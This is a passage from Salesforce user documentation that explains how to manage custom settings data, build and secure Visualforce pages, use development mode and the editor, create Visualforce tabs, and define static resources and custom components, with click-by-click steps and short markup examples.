• Click View next to the name of an existing set of data to view the data (this is only for hierarchical custom settings.)
• Click Edit next to the name of an existing set of data to change the name of the data set or to change the data.
• Click Del next to the name of an existing set of data to delete the data set.

See Also:
Custom Settings Overview
Custom Settings Limits
Adding Custom Settings Fields
Adding Custom Settings Data

Adding Custom Settings Data


Available in: Group, Personal, Developer, Enterprise, and Unlimited Editions.

User Permissions Needed


To manage, create, edit, and delete custom settings: “Customize Application”

After you define your custom settings and add fields, you need to populate the fields with data.
You can define one or more data sets. For list custom settings, each data set is named and can be accessed by that name using
Apex, formula fields, and so on.
For custom settings that are hierarchies, the data is accessed based on the access level (user, profile, or organization). The
lowest level is used first, which means if you defined a data set at the user level, unless otherwise specified in your application,
that data is used. For example, you might want to specify different contact numbers for your application: one for the general
user, and one that is only displayed for system administrators.
To add data to custom setting fields:

1. Click Setup ➤ Develop ➤ Custom Settings, then click Manage next to a custom setting. Or from the detail page for a
custom setting, click Manage.
2. Click New or Edit next to an existing data set.
3. Add or change data.
For custom settings that are lists, do the following:

a. Specify or change the name for the data set. This name is used by Apex, formula fields, and so on.
b. Enter or change data for all fields.
c. Click Save.

For custom settings that are hierarchies, do the following:

a. For the default organization level values, enter or change the data for the fields. The default organization location is
automatically populated.

1597
Develop Visualforce Overview

b. For profile or user level values, select either Profile or User from the Location picklist. Enter the name of the
profile or user, or use the lookup dialog search. Then enter or change the data for the fields.
c. Click Save.

See Also:
Custom Settings Overview
Defining Custom Settings
Viewing Custom Settings
Managing Custom Settings Data
Adding Custom Settings Fields

Viewing Custom Settings Data


Available in: Group, Personal, Developer, Enterprise, and Unlimited Editions.

User Permissions Needed


To manage, create, edit, and delete custom settings: “Customize Application”

After you add fields and add data to those fields, you can view the data:

1. Click Setup ➤ Develop ➤ Custom Settings, then click Manage next to a custom setting that has already been defined.
Or from the detail page for a custom setting, click Manage.
2. Click View next to the data set you want to view (this is only for hierarchical custom settings.)

See Also:
Custom Settings Overview
Defining Custom Settings
Adding Custom Settings Fields
Adding Custom Settings Data

Visualforce Overview
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Visualforce uses a tag-based markup language to give developers a more powerful way to build applications and customize the
Salesforce.com user interface. With Visualforce you can:

• Create custom user interfaces that easily leverage standard Salesforce.com styles

1598
Develop Visualforce Overview

• Create custom user interfaces that completely replace the standard Salesforce.com styles
• Build wizards and other navigation patterns that use data-specific rules for optimal, efficient application interaction

Visualforce comes with a rich component library that allows you to quickly build pages without having to create a lot of
functionality yourself. In the Visualforce markup language, each tag corresponds to a coarse or fine-grained component, such
as a section of a page, a related list, or a field. The components can either be controlled by the same logic that is used in
standard Salesforce.com pages, or developers can associate their own logic with a custom controller or controller extension
written in Apex.

Browser Security Settings and Visualforce


Some Visualforce pages are run from *.force.com servers. If you set your browser's trusted sites to include *.salesforce.com,
you must also add *.force.com to the list.
Depending on your browser and browser settings, you may see an error similar to the following on some pages:
Your browser privacy settings have prevented this page from showing some content.
To display this content you need to change your browser privacy settings to allow
"Third Party" cookies from the domain mypages.na1.visual.force.com. Alternatively,
if your browser is Internet Explorer, you can add mypages.na1.visual.force.com. to
your trusted sites list in the security options page.
Salesforce.com includes a Platform for Privacy Preferences Project (P3P) header on some pages. The header is composed of
the following settings:
Purpose
CUR - Information is used to complete the activity for which it was provided.

Category
STA - Mechanisms for maintaining a stateful session with a user or automatically recognizing users who have visited a
particular site or accessed particular content previously; for example, HTTP cookies.

Recipient
OTR - Legal entities following different practices. Users cannot opt-in or opt-out of this usage.
If your browser is configured to support P3P, this header allows all Visualforce pages to display. For information on P3P, see
Platform for Privacy Preferences (P3P) Project.
If your browser is set to block third-party cookies, and it does not use the P3P header, and you see an error similar to the one
above, perform one of the following actions:
• Configure P3P for your browser
• Change your browser settings to allow third-party cookies

1599
Develop How Do Visualforce Pages Compare to S-Controls?

• Add the appropriate server to your browser's cookies exception list

See Also:
Enabling Development Mode
Defining Visualforce Pages
Managing Visualforce Pages
Viewing and Editing Visualforce Pages
Creating Visualforce Tabs
What is a Static Resource?
What is a Custom Component?
Developer's Guide: Visualforce Developer's Guide

How Do Visualforce Pages Compare to S-Controls?


Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.

Visualforce pages are considered the next-generation of s-controls and should be used instead of s-controls whenever possible,
both for their increased performance and the ease with which they can be written. The following table outlines the differences
between Visualforce pages and s-controls.

Visualforce Pages S-Controls


Required technical skills HTML, XML HTML, JavaScript, AJAX Toolkit
Language style Tag markup Procedural code
Page override model Assemble standard and custom Write HTML and JavaScript for entire
components using tags page
Standard Salesforce.com component Yes No
library
Access to built-in platform behavior Yes, through the standard controller No
Data binding Yes No
Developers can bind an input component Developers can't bind an input
(such as a text box) with a particular field component with a particular field.
(such as Account Name). If a user saves Instead, they must write JavaScript code
a value in that input component, it is also that uses the API to update the database
saved in the database. with user-specified field values.

Stylesheet inheritance Yes No, must bring in Salesforce.com


stylesheets manually

1600
Develop Enabling Development Mode

Visualforce Pages S-Controls


Respect for field metadata, such as Yes, by default Yes, if coded in JavaScript using a
uniqueness describe API call
If a user attempts to save a record that
violates uniqueness or requiredness field If a user attempts to save a record that
attributes, an error message is violates uniqueness or requiredness field
automatically displayed and the user can attributes, an error message is only
try again. displayed if the s-control developer wrote
code that checked those attributes.

Interaction with Apex Direct, by binding to a custom controller Indirect, by using Apex webService
methods through the API
Performance More responsive because markup is Less responsive because every call to the
generated on the Force.com platform API requires a round trip to the
server—the burden rests with the
developer to tune performance
Page container Native In an iFrame

Enabling Development Mode


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable development mode: “Customize Application”

Although you can view and edit Visualforce page definitions from the setup area by clicking Setup ➤ Develop ➤ Pages,
enabling Visualforce development mode is the best way to build Visualforce pages. Development mode provides you with:

• A special development footer on every Visualforce page.


The footer includes an editor for the page markup, its view state, any associated controller, as well as a link to the component
reference documentation. The page markup editor offers highlighting, find-replace functionality, and auto-suggest for
component tag and attribute names.
• The ability to define new Visualforce pages just by entering a unique URL
• Error messages that include more detailed stack traces than what standard users receive

To enable Visualforce development mode:

1. Click Setup ➤ My Personal Information ➤ Personal Information, and click Edit.


2. Select the Development Mode checkbox.
3. Optionally, select the Show View State in Development Mode checkbox to enable the View State tab on the
development footer. This tab is useful for monitoring the performance of your Visualforce pages.
4. Click Save.

1601
Develop Defining Visualforce Pages

Note: This release contains a pilot version of the View State tab that is production-quality but has known limitations.
You must contact Salesforce.com Support to enable this feature. See “About the View State Tab” in the Visualforce
Developer's Guide for more information.

See Also:
Visualforce Overview
Defining Visualforce Pages
Developer's Guide: Visualforce Developer's Guide

Defining Visualforce Pages


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, and set version settings for Visualforce pages: “Customize Application”

You can create Visualforce pages either by using Visualforce development mode, or by creating pages in Setup.
To create a page using Visualforce developer mode:

1. In your browser, enter a URL in the following form: https://mySalesforceInstance/apex/nameOfNewPage,


where the value of mySalesforceInstance is the host name of your Salesforce.com instance (for example,
na3.salesforce.com) and the value of nameOfNewPage is the value you want to give to the Name field on your page
definition.
For example, if you want to create a page called “HelloWorld” and your Salesforce.com organization uses the
na3.salesforce.com instance, enter https://na3.salesforce.com/apex/HelloWorld.

Note: Page names cannot be longer than 40 characters.

2. Because the page does not yet exist, you are directed to an intermediary page from which you can create your new page.
Click Create page nameOfNewPage to create the new page. Both the page Name and Label are assigned the
nameOfNewPage value you specified in the URL.

To create pages in Setup:

1. Click Setup ➤ Develop ➤ Pages.


2. Click New.
3. In the Name text box, enter the text that should appear in the URL as the page name. This name can contain only underscores
and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not
end with an underscore, and not contain two consecutive underscores.
4. In the Label text box, enter the text that should be used to identify the page in Setup tools, such as when defining custom
tabs, or overriding standard buttons.

1602
Develop Defining Visualforce Pages

5. In the Body text box, enter Visualforce markup for the page. A single page can hold up to 1 MB of text, or approximately
1,000,000 characters.
6. Click Version Settings to specify the version of Visualforce and the API used with this page. If your organization has
installed managed packages from the AppExchange, you can also specify which version of each managed package to use.
Generally, you should use the default values for all versions. This associates the page with the most recent version of
Visualforce and the API, as well as each managed package. You can specify an older version of Visualforce and the API
to maintain specific behavior. You can specify an older version of a managed package if you want to access package
components or functionality that differs from the most recent package version.
7. Click Save to save your changes and return to the Visualforce detail screen, or click Quick Save to save your changes and
continue editing your page. Your Visualforce markup must be valid before you can save your page.
Note: Though your Visualforce markup can be edited from this part of setup, to see the results of your edits you
have to navigate to the URL of your page. For that reason, most developers prefer to work with development mode
enabled so they can view and edit pages in a single window.

Once your page has been created, you can access it using a URL in the following form:
http://mySalesforceInstance/apex/nameOfNewPage, where the value of mySalesforceInstance is the host name
of your Salesforce.com instance (for example, na3.salesforce.com) and the value of nameOfNewPage is the value of the
Name field on your page definition.

See Also:
Visualforce Overview
Enabling Development Mode
Managing Visualforce Pages
Viewing and Editing Visualforce Pages
Creating Visualforce Tabs
What is a Static Resource?
Developer's Guide: Visualforce Developer's Guide

Managing Version Settings for Visualforce Pages


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, and set version settings for Visualforce pages: “Customize Application”

To aid backwards-compatibility, each Visualforce page is saved with version settings for the specified version of the API as
well as the specific version of Visualforce. If the Visualforce page references installed managed packages, the version settings
for each managed package referenced by the Visualforce component is saved too. This ensures that as Visualforce, the API,
and the components in managed packages evolve in subsequent versions, a page is still bound to versions with specific, known
behavior.

1603
Develop Defining Visualforce Pages

The version number has the format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor
numbers increase to a chosen value during every major release. The patchNumber is generated and updated only for a patch
release. If there is no patchNumber, it is assumed to be zero (0). Patch versions are currently available through a pilot program.
For information on enabling patch versions for your organization, contact salesforce.com. Publishers can use package versions
to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking
existing customer integrations using the package.
To set the Salesforce.com API and Visualforce version for a Visualforce page:

1. Edit a Visualforce page and click Version Settings.


Note: You can only access the version settings for a page if you edit a page by clicking Setup ➤ Develop ➤ Pages.
You cannot access them if you edit a page using Developer Mode.

2. Select the Version of the Salesforce.com API. This is also the version of Visualforce used with the page.
3. Click Save.

To configure the package version settings for a Visualforce page:

1. Edit a Visualforce page and click Version Settings.


2. Select a Version for each managed package referenced by the Visualforce page. This version of the managed package will
continue to be used by the Visualforce page if later versions of the managed package are installed, unless you manually
update the version setting. To add an installed managed package to the settings list, select a package from the list of available
packages. The list is only displayed if you have an installed managed package that is not already associated with the page
or component.
3. Click Save.

Note the following when working with package version settings:

• If you save a Visualforce page that references a managed package without specifying a version of the managed package,
the Visualforce page is associated with the latest installed version of the managed package by default.
• You cannot Remove a Visualforce page's version setting for a managed package if the package is referenced by the Visualforce
page. Use Show Dependencies to find where the managed package is referenced.

See Also:
Defining Visualforce Pages
Enabling Development Mode
Managing Visualforce Pages
Viewing and Editing Visualforce Pages
Creating Visualforce Tabs
What is a Static Resource?
Managing Packages
Developer's Guide: Visualforce Developer's Guide

1604
Develop Managing Visualforce Pages

Managing Visualforce Pages


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create and edit Visualforce pages: “Customize Application”

After creating Visualforce pages, you can customize, edit, and delete them. Click Setup ➤ Develop ➤ Pages to display the
Pages list page, which shows all the Visualforce pages defined for your organization. From the Pages list page, you can:

• Click New to define a new Visualforce page.


• Click a page name to display detailed information about the page, including its label and Visualforce markup.
• Click Edit next to a page name to modify the page's name, label, or Visualforce markup.

Note: A icon indicates that a Visualforce page is in an installed managed package. You cannot edit or delete a
Visualforce page in a managed package.

• Click Del to remove a page.


• Click Security to manage the security for the page.

Note: The namespace prefix is added to Apex classes and triggers, Visualforce components and pages, brand templates,
folders, s-controls, static resources, web links, and custom report types if they are included in a managed package.
However, if your profile does not have customize application permissions, the namespace prefix field is not displayed
for brand templates, folders, and custom report types. For more information on namespace prefixes, see Registering
a Namespace Prefix on page 1496.

See Also:
Visualforce Overview
Viewing and Editing Visualforce Pages
Creating Visualforce Tabs
Setting Visualforce Page Security
Developer's Guide: Visualforce Developer's Guide

1605
Develop Setting Visualforce Page Security

Setting Visualforce Page Security


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit profiles: “Manage Users”
AND
“Customize Application”

You can specify which users can execute a particular Visualforce page based on their profile.
Permission for a Visualforce page is checked at the top level only. Once a page is enabled for profile, users with that profile
can access the page and execute all Apex that is associated with the page. This includes:

• The controller for the page and any Apex classes called from the controller class
• Any extension classes for the page and any Apex called from an extension
• Any Apex classes associated with custom components within the page
• Any classes associated with the page through the use of apex:include or apex:composition

For example, if page A depends on a controller that calls an Apex class B, and a user profile has access only to page A but not
class B, the user can still successfully execute the code in class A. Likewise, if a Visualforce page uses a custom component
with an associated controller, security is only checked for the controller associated with the page.
To set Visualforce page security from a page definition:

1. Click Setup ➤ Develop ➤ Pages.


2. Next to the name of the page that you want to restrict, click Security.
3. Select the profiles that you want to enable from the Available Profiles list and click Add.
4. Select the profiles that you want to disable from the Enabled Profiles list and click Remove.
5. Click Save.

To set Visualforce page security from a profile detail page:

1. Click Setup ➤ Manage Users ➤ Profiles.


2. Click the name of the profile you want to modify.
3. In the Enabled Visualforce Page Access related list, click Edit.
4. Select the Visualforce pages that you want to enable from the Available Visualforce Pages list and click Add.
5. Select the Visualforce pages that you want to disable from the Enabled Visualforce Pages list and click Remove.
6. Click Save.

If a user has the “Customize Application” permission enabled in his or her profile, the user has access to all Visualforce pages
in the associated organization. However, this user may still have restrictions related to Apex classes. The “Customize Application”
permission does not allow a user to ignore those restrictions in a Visualforce page unless the profile has been granted Visualforce
page access.

1606
Develop Viewing and Editing Visualforce Pages

Also, to include Apex in a page, the user must have the Author Apex user permission or access to the Apex class via class level
security.

See Also:
Managing Visualforce Pages
Setting Apex Class Security

Viewing and Editing Visualforce Pages


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To clone, edit, or delete Visualforce markup: “Customize Application”
To edit custom Visualforce controllers “Author Apex”

Click Setup ➤ Develop ➤ Pages and click the name of a Visualforce page to view its details, including when it was created,
when it was last modified, and the Visualforce markup associated with the page.
From the detail page, you can do any of the following:

• Click New to create a new page


• Click Edit to edit existing page markup.
• Click Delete to delete the page.
• Click Clone to create a copy of the page. You must specify a new name for the new page.
• Click Where is this used? to view a list of all references to the page in your organization.
• Click Show Dependencies to display the items, such as fields, objects, or other classes, that must exist for this class to be
valid. For more information, see Understanding Dependencies on page 1513.

Note: If the Visualforce page is contained in an installed managed package, you can only view the page. You cannot
edit, delete or clone it.

To aid backwards-compatibility, pages are stored with the version settings for a specified version of Visualforce and the API.
If the page references components, such as a custom object, in an installed managed package, the version settings for each
managed package referenced by the page are saved too. If the Visualforce page is contained in an installed managed package,
the Installed Package indicates the package name. The Available in Package Versions field gives the range of
package versions in which the Visualforce page is available. The first version number in the range is the first installed package
version that contains the Visualforce page.

Viewing and Editing Visualforce Pages with Development Mode Enabled


Note: This release contains a pilot version of the View State tab that is production-quality but has known limitations.
You must contact Salesforce.com Support to enable this feature. See “About the View State Tab” in the Visualforce
Developer's Guide for more information.

1607
Develop Uncaught Exceptions in Visualforce

With development mode enabled, you can view and edit the content of a page by navigating to the URL of the page. For
example, if a page is named HelloWorld, and your salesforce.com instance is na3.salesforce.com, enter
https://na3.salesforce.com/apex/HelloWorld in your browser's address bar.
After enabling development mode, all Visualforce pages display with the development mode footer at the bottom of the
browser:
• Click Page Editor to view and edit the associated Visualforce markup without having to return to the Setup area. All
changes you make to the page markup immediately display when you save the page.
• If the page uses a custom controller, click Controller to edit the associated Apex class.
• If enabled in Setup, the View State tab displays information about the items contributing to the view state of the Visualforce
page.
• Click Save (just above the edit pane) to save your changes and refresh the content of the page.
• Click Component Reference to view the documentation for all supported Visualforce components.
• Click Where is this used? to view a list of all items in Salesforce.com that reference the page, such as custom tabs, controllers,
or other pages.

See Also:
Visualforce Overview
Enabling Development Mode
Defining Visualforce Pages
Managing Visualforce Pages
Creating Visualforce Tabs
Managing Version Settings for Visualforce Pages
Managing Packages
About Package Versions
Developer's Guide: Visualforce Developer's Guide

Uncaught Exceptions in Visualforce


If a Visualforce page that you did not develop has a error or uncaught exception

• You see a simple explanation of the problem in Salesforce.com.


• The developer who wrote the page receives the error via email with your organization and user id. No other user data is
included in the report.

If you are in development mode and not in the same namespace as the page, you will see the exception message, the exception
type, and a notification that the developer has been notified by email.
If you are the developer and in the same namespace as the page, and you are not in development mode, you will see an exception
message. You may also see a message indicating that the developer has been notified. If you are in development mode, you
will see the exception message, the exception type, and the Apex stack trace.

1608
Develop Using the Editor for Visualforce or Apex

Using the Editor for Visualforce or Apex


Apex is available in: Unlimited, Developer, and Enterprise Editions

Visualforce is available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit Visualforce markup: “Customize Application”
To edit custom Visualforce controllers or Apex “Author Apex”

When editing Visualforce or Apex, either in the Visualforce development mode footer or from Setup, an editor is available
with the following functionality:
Syntax highlighting
The editor automatically applies syntax highlighting for keywords and all functions and operators.

Search ( )
Search enables you to search for text within the current page, class, or trigger. To use search, enter a string in the Search
textbox and click Find Next.

• To replace a found search string with another string, enter the new string in the Replace textbox and click replace
to replace just that instance, or Replace All to replace that instance and all other instances of the search string that
occur in the page, class, or trigger.
• To make the search operation case sensitive, select the Match Case option.
• To use a regular expression as your search string, select the Regular Expressions option. The regular expressions
follow Javascript's regular expression rules. A search using regular expressions can find strings that wrap over more
than one line.
If you use the replace operation with a string found by a regular expression, the replace operation can also bind regular
expression group variables ($1, $2, and so on) from the found search string. For example, to replace an <H1> tag
with an <H2> tag and keep all the attributes on the original <H1> intact, search for <H1(\s+)(.*)> and replace it
with <H2$1$2>.

Go to line ( )
This button allows you to highlight a specified line number. If the line is not currently visible, the editor scrolls to that
line.

Undo ( ) and Redo ( )


Use undo to reverse an editing action and redo to recreate an editing action that was undone.

Font size
Select a font size from the drop-down list to control the size of the characters displayed in the editor.

1609
Develop Using the Editor for Visualforce or Apex

Line and column position


The line and column position of the cursor is displayed in the status bar at the bottom of the editor. This can be used
with go to line ( ) to quickly navigate through the editor.

Line and character count


The total number of lines and characters is displayed in the status bar at the bottom of the editor.

The editor supports the following keyboard shortcuts:


Tab
Adds a tab at the cursor

SHIFT+Tab
Removes a tab

CTRL+f
Opens the search dialog or searches for the next occurrence of the current search

CTRL+r
Opens the search dialog or replaces the next occurrence of the current search with the specified replacement string

CTRL+g
Opens the go to line dialog

CTRL+s
Performs a quick save.

CTRL+z
Reverses the last editing action

CTRL+y
Recreates the last editing action that was undone

See Also:
Core JavaScript 1.5 Guide:Regular Expressions
Viewing and Editing Visualforce Pages

1610
Develop Creating Visualforce Tabs

Creating Visualforce Tabs


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create Visualforce Tabs: “Customize Application”

You can build Visualforce tabs so that users can access Visualforce pages from within Salesforce.com.
To create a Visualforce tab:

1. Click Setup ➤ Create ➤ Tabs.


2. Click New in the Visualforce Tabs related list.
3. Select the Visualforce page to display in the custom tab. If you have not already created the Visualforce page, click Create
a new page now and follow the instructions in Defining Visualforce Pages on page 1602.
4. Specify the label that displays on the tab.
5. Click the Tab Style lookup icon to display the Tab Style Selector.
If a tab style is already in use, a number enclosed in brackets [] appears next to the tab style name. Hover your mouse over
the style name to view the tabs that use the style. Click Hide styles which are used on other tabs to filter
this list.
6. Click a tab style to select the color scheme and icon for the custom tab.
Optionally, click Create your own style on the Tab Style Selector dialog if you want to create a custom tab style and your
organization has access to the Documents tab. To create your own tab style:

a. Click the Color lookup icon to display the color selection dialog and click a color to select it.
b. Click Insert an Image, select the document folder, and select the image you want to use.
Alternatively, click Search in Documents, enter a search term, and click Go! to find a document file name that includes
your search term.
Note: This dialog only lists files in document folders that are under 20 KB and have the Externally Available
checkbox selected in the document property settings. For more information, see uploading images and document
property settings. If the document used for the icon is later deleted, Salesforce.com replaces it with a default

multicolor block icon ( ).

c. Select a file and click OK. The New Custom Tab wizard reappears.

7. Optionally, select the Mobile Ready checkbox to indicate that the Visualforce page displays and functions properly in a
mobile web browser.
Selecting the checkbox adds the tab to the list of available tabs for your mobile configurations. See Managing Mobile Tabs
on page 756. Review the considerations for building Visualforce pages that are compatible with mobile browsers before
mobilizing a Visualforce tab.
Note that the Mobile Ready checkbox is only visible if Salesforce Mobile is enabled for your organization.

1611
Develop What is a Static Resource?

8. Optionally, choose a custom link to use as the introductory splash page when users initially click the tab. For information
about creating a custom link to use as a splash page for your custom tab, see Defining Custom Buttons and Links on page
990. Note that splash pages do not display in the mobile application. Avoid using a splash page if you plan to mobilize the
Visualforce tab.
9. Enter a description of the tab, if desired, and click Next.
10. Choose the user profiles for which the new custom tab will be available:

• Select Apply one tab visibility to all profiles and choose Default On, Default Off, or Tab Hidden from the drop-down
list.
• Alternatively, select Apply a different tab visibility for each profile and choose Default On, Default Off, or Tab
Hidden from the drop-down list for each profile.

11. Specify the custom apps that should include the new tab. See What is an App? on page 1361 for information on custom
apps.
12. Check Append tab to users' existing personal customizations to add the new tab to your users’ customized
display settings if they have customized their personal display.
13. Click Save.

See Also:
Visualforce Overview
Defining Visualforce Pages
Developer's Guide: Visualforce Developer's Guide

What is a Static Resource?


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Static resources allow you to upload content that you can reference in a Visualforce page, including archives (such as .zip and
.jar files), images, stylesheets, JavaScript, and other files.
Using a static resource is preferable to uploading a file to the Documents tab because:

• You can package a collection of related files into a directory hierarchy and upload that hierarchy as a .zip or .jar archive.
• You can reference a static resource in page markup by name using the $Resource global variable instead of hard-coding
document IDs:

- To reference a stand-alone file, use $Resource.<resource_name> as a merge field, where <resource_name> is


the name you specified when you uploaded the resource. For example:

<apex:image url="{!$Resource.TestImage}" width="50" height="50" />

or

<apex:includeScript
value="{!$Resource.MyJavascriptFile}"/>

1612
Develop What is a Static Resource?

- To reference a file in an archive, use the URLFOR function. Specify the static resource name that you provided when
you uploaded the archive with the first parameter, and the path to the desired file within the archive with the second.
For example:

<apex:image url="{!URLFOR($Resource.TestZip, 'images/Bluehills.jpg')}" width="50"


height="50" />

or

<apex:includeScript
value="{!URLFOR($Resource.LibraryJS, '/base/subdir/file.js')}"/>

• You can use relative paths in files in static resource archives to refer to other content within the archive. For example, in
your CSS file, namedstyles.css, you have the following style:

table { background-image: img/testimage.gif }

When you use that CSS in a Visualforce page, you need to make sure the CSS file can find the image. To do that, create
an archive (such as a zip file) that includes styles.css and img/testimage.gif. Make sure that the path structure
is preserved in the archive. Then upload the archive file as a static resource named “style_resources”. Then, in your page,
add the following component:

<apex:stylesheet value="{!URLFOR($Resource.style_resources, 'styles.css')}"/>

Since the static resource contains both the stylesheet and the image, the relative path in the stylesheet resolves and the
image is displayed.

A single static resource can be up to 5 MB in size, and an organization can have up to 250 MB of static resources, total. Static
resources apply to your organization's quota of data storage.

See Also:
Defining Static Resources
Managing Static Resources
Viewing and Editing Static Resources
Visualforce Overview
Developer's Guide: Visualforce Developer's Guide

1613
Develop Defining Static Resources

Defining Static Resources


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create static resources: “Customize Application”

To create a static resource:

1. Click Setup ➤ Develop ➤ Static Resources.


2. Click New Static Resource.
3. In the Name text box, enter the text that should be used to identify the resource in Visualforce markup. This name can
contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a
letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
Note: If you reference a static resource in Visualforce markup and then change the name of the resource, the
Visualforce markup is updated to reflect that change.

4. In the Description text area, specify an optional description of the resource.


5. Next to the File text box, click Browse to navigate to a local copy of the resource that you want to upload.
A single static resource can be up to 5 MB in size, and an organization can have up to 250 MB of static resources, total.
6. Set the Cache Control:

• Private specifies that the static resource data cached on the Salesforce.com server shouldn't be shared with other
users. The static resource is only stored in cache for the current user's session.
Note: Cache settings on static resources are set to private when accessed via a Force.com site whose guest user's
profile has restrictions based on IP range or login hours. Sites with guest user profile restrictions cache static
resources only within the browser. Also, if a previously unrestricted site becomes restricted, it can take up to
45 days for the static resources to expire from the Salesforce.com cache and any intermediate caches.

• Public specifies that the static resource data cached on the Salesforce.com server be shared with other users in your
organization for faster load times.

The W3C specifications on Header Field Definitions has more technical information about cache-control.
Note: This feature only works for Sites—enabled organizations that use the static resource.

7. Click Save.

1614
Develop Managing Static Resources

Caution: If you are using WinZip be sure to install the most recent version. Older versions of WinZip may cause a
loss of data.

See Also:
What is a Static Resource?
Managing Static Resources
Viewing and Editing Static Resources
Visualforce Overview
Developer's Guide: Visualforce Developer's Guide

Managing Static Resources


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create and edit static resources: “Customize Application”

After creating static resources, you can customize, edit, and delete them. Click Setup ➤ Develop ➤ Static Resources to
display the Static Resources list page, which shows the list of resources defined for your organization. From this page you can:

• Click New Static Resource to define a new static resource.


• Click a resource name to display detailed information about the page, including its MIME type and size.
• Click Edit next to a resource to modify the resource's name or to upload a new version of the resource.
• Click Del to remove a resource.

Note: The namespace prefix is added to Apex classes and triggers, Visualforce components and pages, brand templates,
folders, s-controls, static resources, web links, and custom report types if they are included in a managed package.
However, if your profile does not have customize application permissions, the namespace prefix field is not displayed
for brand templates, folders, and custom report types. For more information on namespace prefixes, see Registering
a Namespace Prefix on page 1496.

See Also:
What is a Static Resource?
Defining Static Resources
Viewing and Editing Static Resources
Visualforce Overview
Developer's Guide: Visualforce Developer's Guide

1615
Develop Viewing and Editing Static Resources

Viewing and Editing Static Resources


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To clone, edit, or delete static resources: “Customize Application”

Click Setup ➤ Develop ➤ Static Resources and click the name of a resource to view its details, including its MIME type,
the size of the resource in bytes, when it was created, and when it was last modified.
From the detail page, you can do any of the following:

• Click Edit to edit the resource.


• Click Delete to delete the resource.
• Click Clone to create a copy of the resource. You must specify a new name for the new resource.
• Click Where is this used? to view a list of all references to the static resource in your organization.

See Also:
What is a Static Resource?
Defining Static Resources
Managing Static Resources
Visualforce Overview
Developer's Guide: Visualforce Developer's Guide

What is a Custom Component?


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Salesforce.com provides a library of standard, pre-built components, such as <apex:relatedList> and <apex:dataTable>,
that can be used to develop Visualforce pages. In addition, you can build your own custom components to augment this library.
A custom component encapsulates a common design pattern that can be reused in one or more Visualforce pages. It consists
of:

• A set of Visualforce markup demarcated by the <apex:component> tag


• An optional component controller written in Apex that allows the component to perform additional logic, such as sorting
items in a list, or calculating values

For example, suppose you want to create a photo album using Visualforce pages. Each photo in the album has its own border
color, and a text caption that displays beneath it. Rather than repeating the Visualforce markup required for displaying every
photo in the album, you can define a custom component named singlePhoto that has attributes for image, border color,
and caption, and then uses those attributes to display the image on the page. Once defined, every Visualforce page in your

1616
Develop Defining Custom Components

organization can leverage the singlePhoto custom component in the same way as a page can leverage standard components
such as <apex:dataTable> or <apex:relatedList>.
Unlike page templates, which also enable developers to reuse markup, custom components provide more power and flexibility
because:

• Custom components allow developers to define attributes that can be passed in to each component. The value of an attribute
can then change the way the markup is displayed on the final page, and the controller-based logic that executes for that
instance of the component. This behavior differs from that of templates, which do not have a way of passing information
from the page that uses a template to the template's definition itself.
• Custom component descriptions are displayed in the application's component reference dialog alongside standard component
descriptions. Template descriptions, on the other hand, can only be referenced through the Setup area of Salesforce.com
because they are defined as pages.

See Also:
Defining Custom Components
Managing Custom Components
Viewing and Editing Custom Components
Developer's Guide: Visualforce Developer's Guide
Developer's Guide: Force.com Apex Code Developer's Guide

Defining Custom Components


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create custom components: “Customize Application”

To create a custom component:

1. In Salesforce.com click Setup ➤ Develop ➤ Components.


2. Click New.
3. In the Label text box, enter the text that should be used to identify the custom component in Setup tools.
4. In the Name text box, enter the text that should identify this custom component in Visualforce markup. This name can
contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a
letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
5. In the Description text box, enter a text description of the custom component. This description appears in the component
reference with other standard component descriptions as soon as you click Save.
6. In the Body text box, enter Visualforce markup for the custom component definition. A single component can hold up to
1 MB of text, or approximately 1,000,000 characters.
7. Click Version Settings to specify the version of Visualforce and the API used with this component. If your organization
has installed managed packages from the AppExchange, you can also specify which version of each managed package to
use. Generally, you should use the default values for all versions. This associates the component with the most recent

1617
Develop Defining Custom Components

version of Visualforce and the API, as well as each managed package. You can specify an older version of Visualforce and
the API to maintain specific behavior. You can specify an older version of a managed package if you want to access package
components or functionality that differs from the most recent package version.
8. Click Save to save your changes and view the custom component's detail screen, or click Quick Save to save your changes
and continue editing your component. Your Visualforce markup must be valid before you can save your component.

Note: You can also create a custom component in Visualforce development mode by adding a reference to a custom
component that does not yet exist to Visualforce page markup. After saving the markup, a quick fix link appears that
allows you to create a new component definition (including any specified attributes) based on the name that you
provided for the component.
For example, if you have not yet defined a custom component named myNewComponent and insert
<c:myNewComponent myNewAttribute="foo"/> into existing page markup, after clicking Save a quick fix
allows you to define a new custom component named myNewComponent with the following default definition:

<apex:component>
<apex:attribute name="myattribute" type="String" description="TODO: Describe me"/>
<!-- Begin Default Content REMOVE THIS -->
<h1>Congratulations</h1>
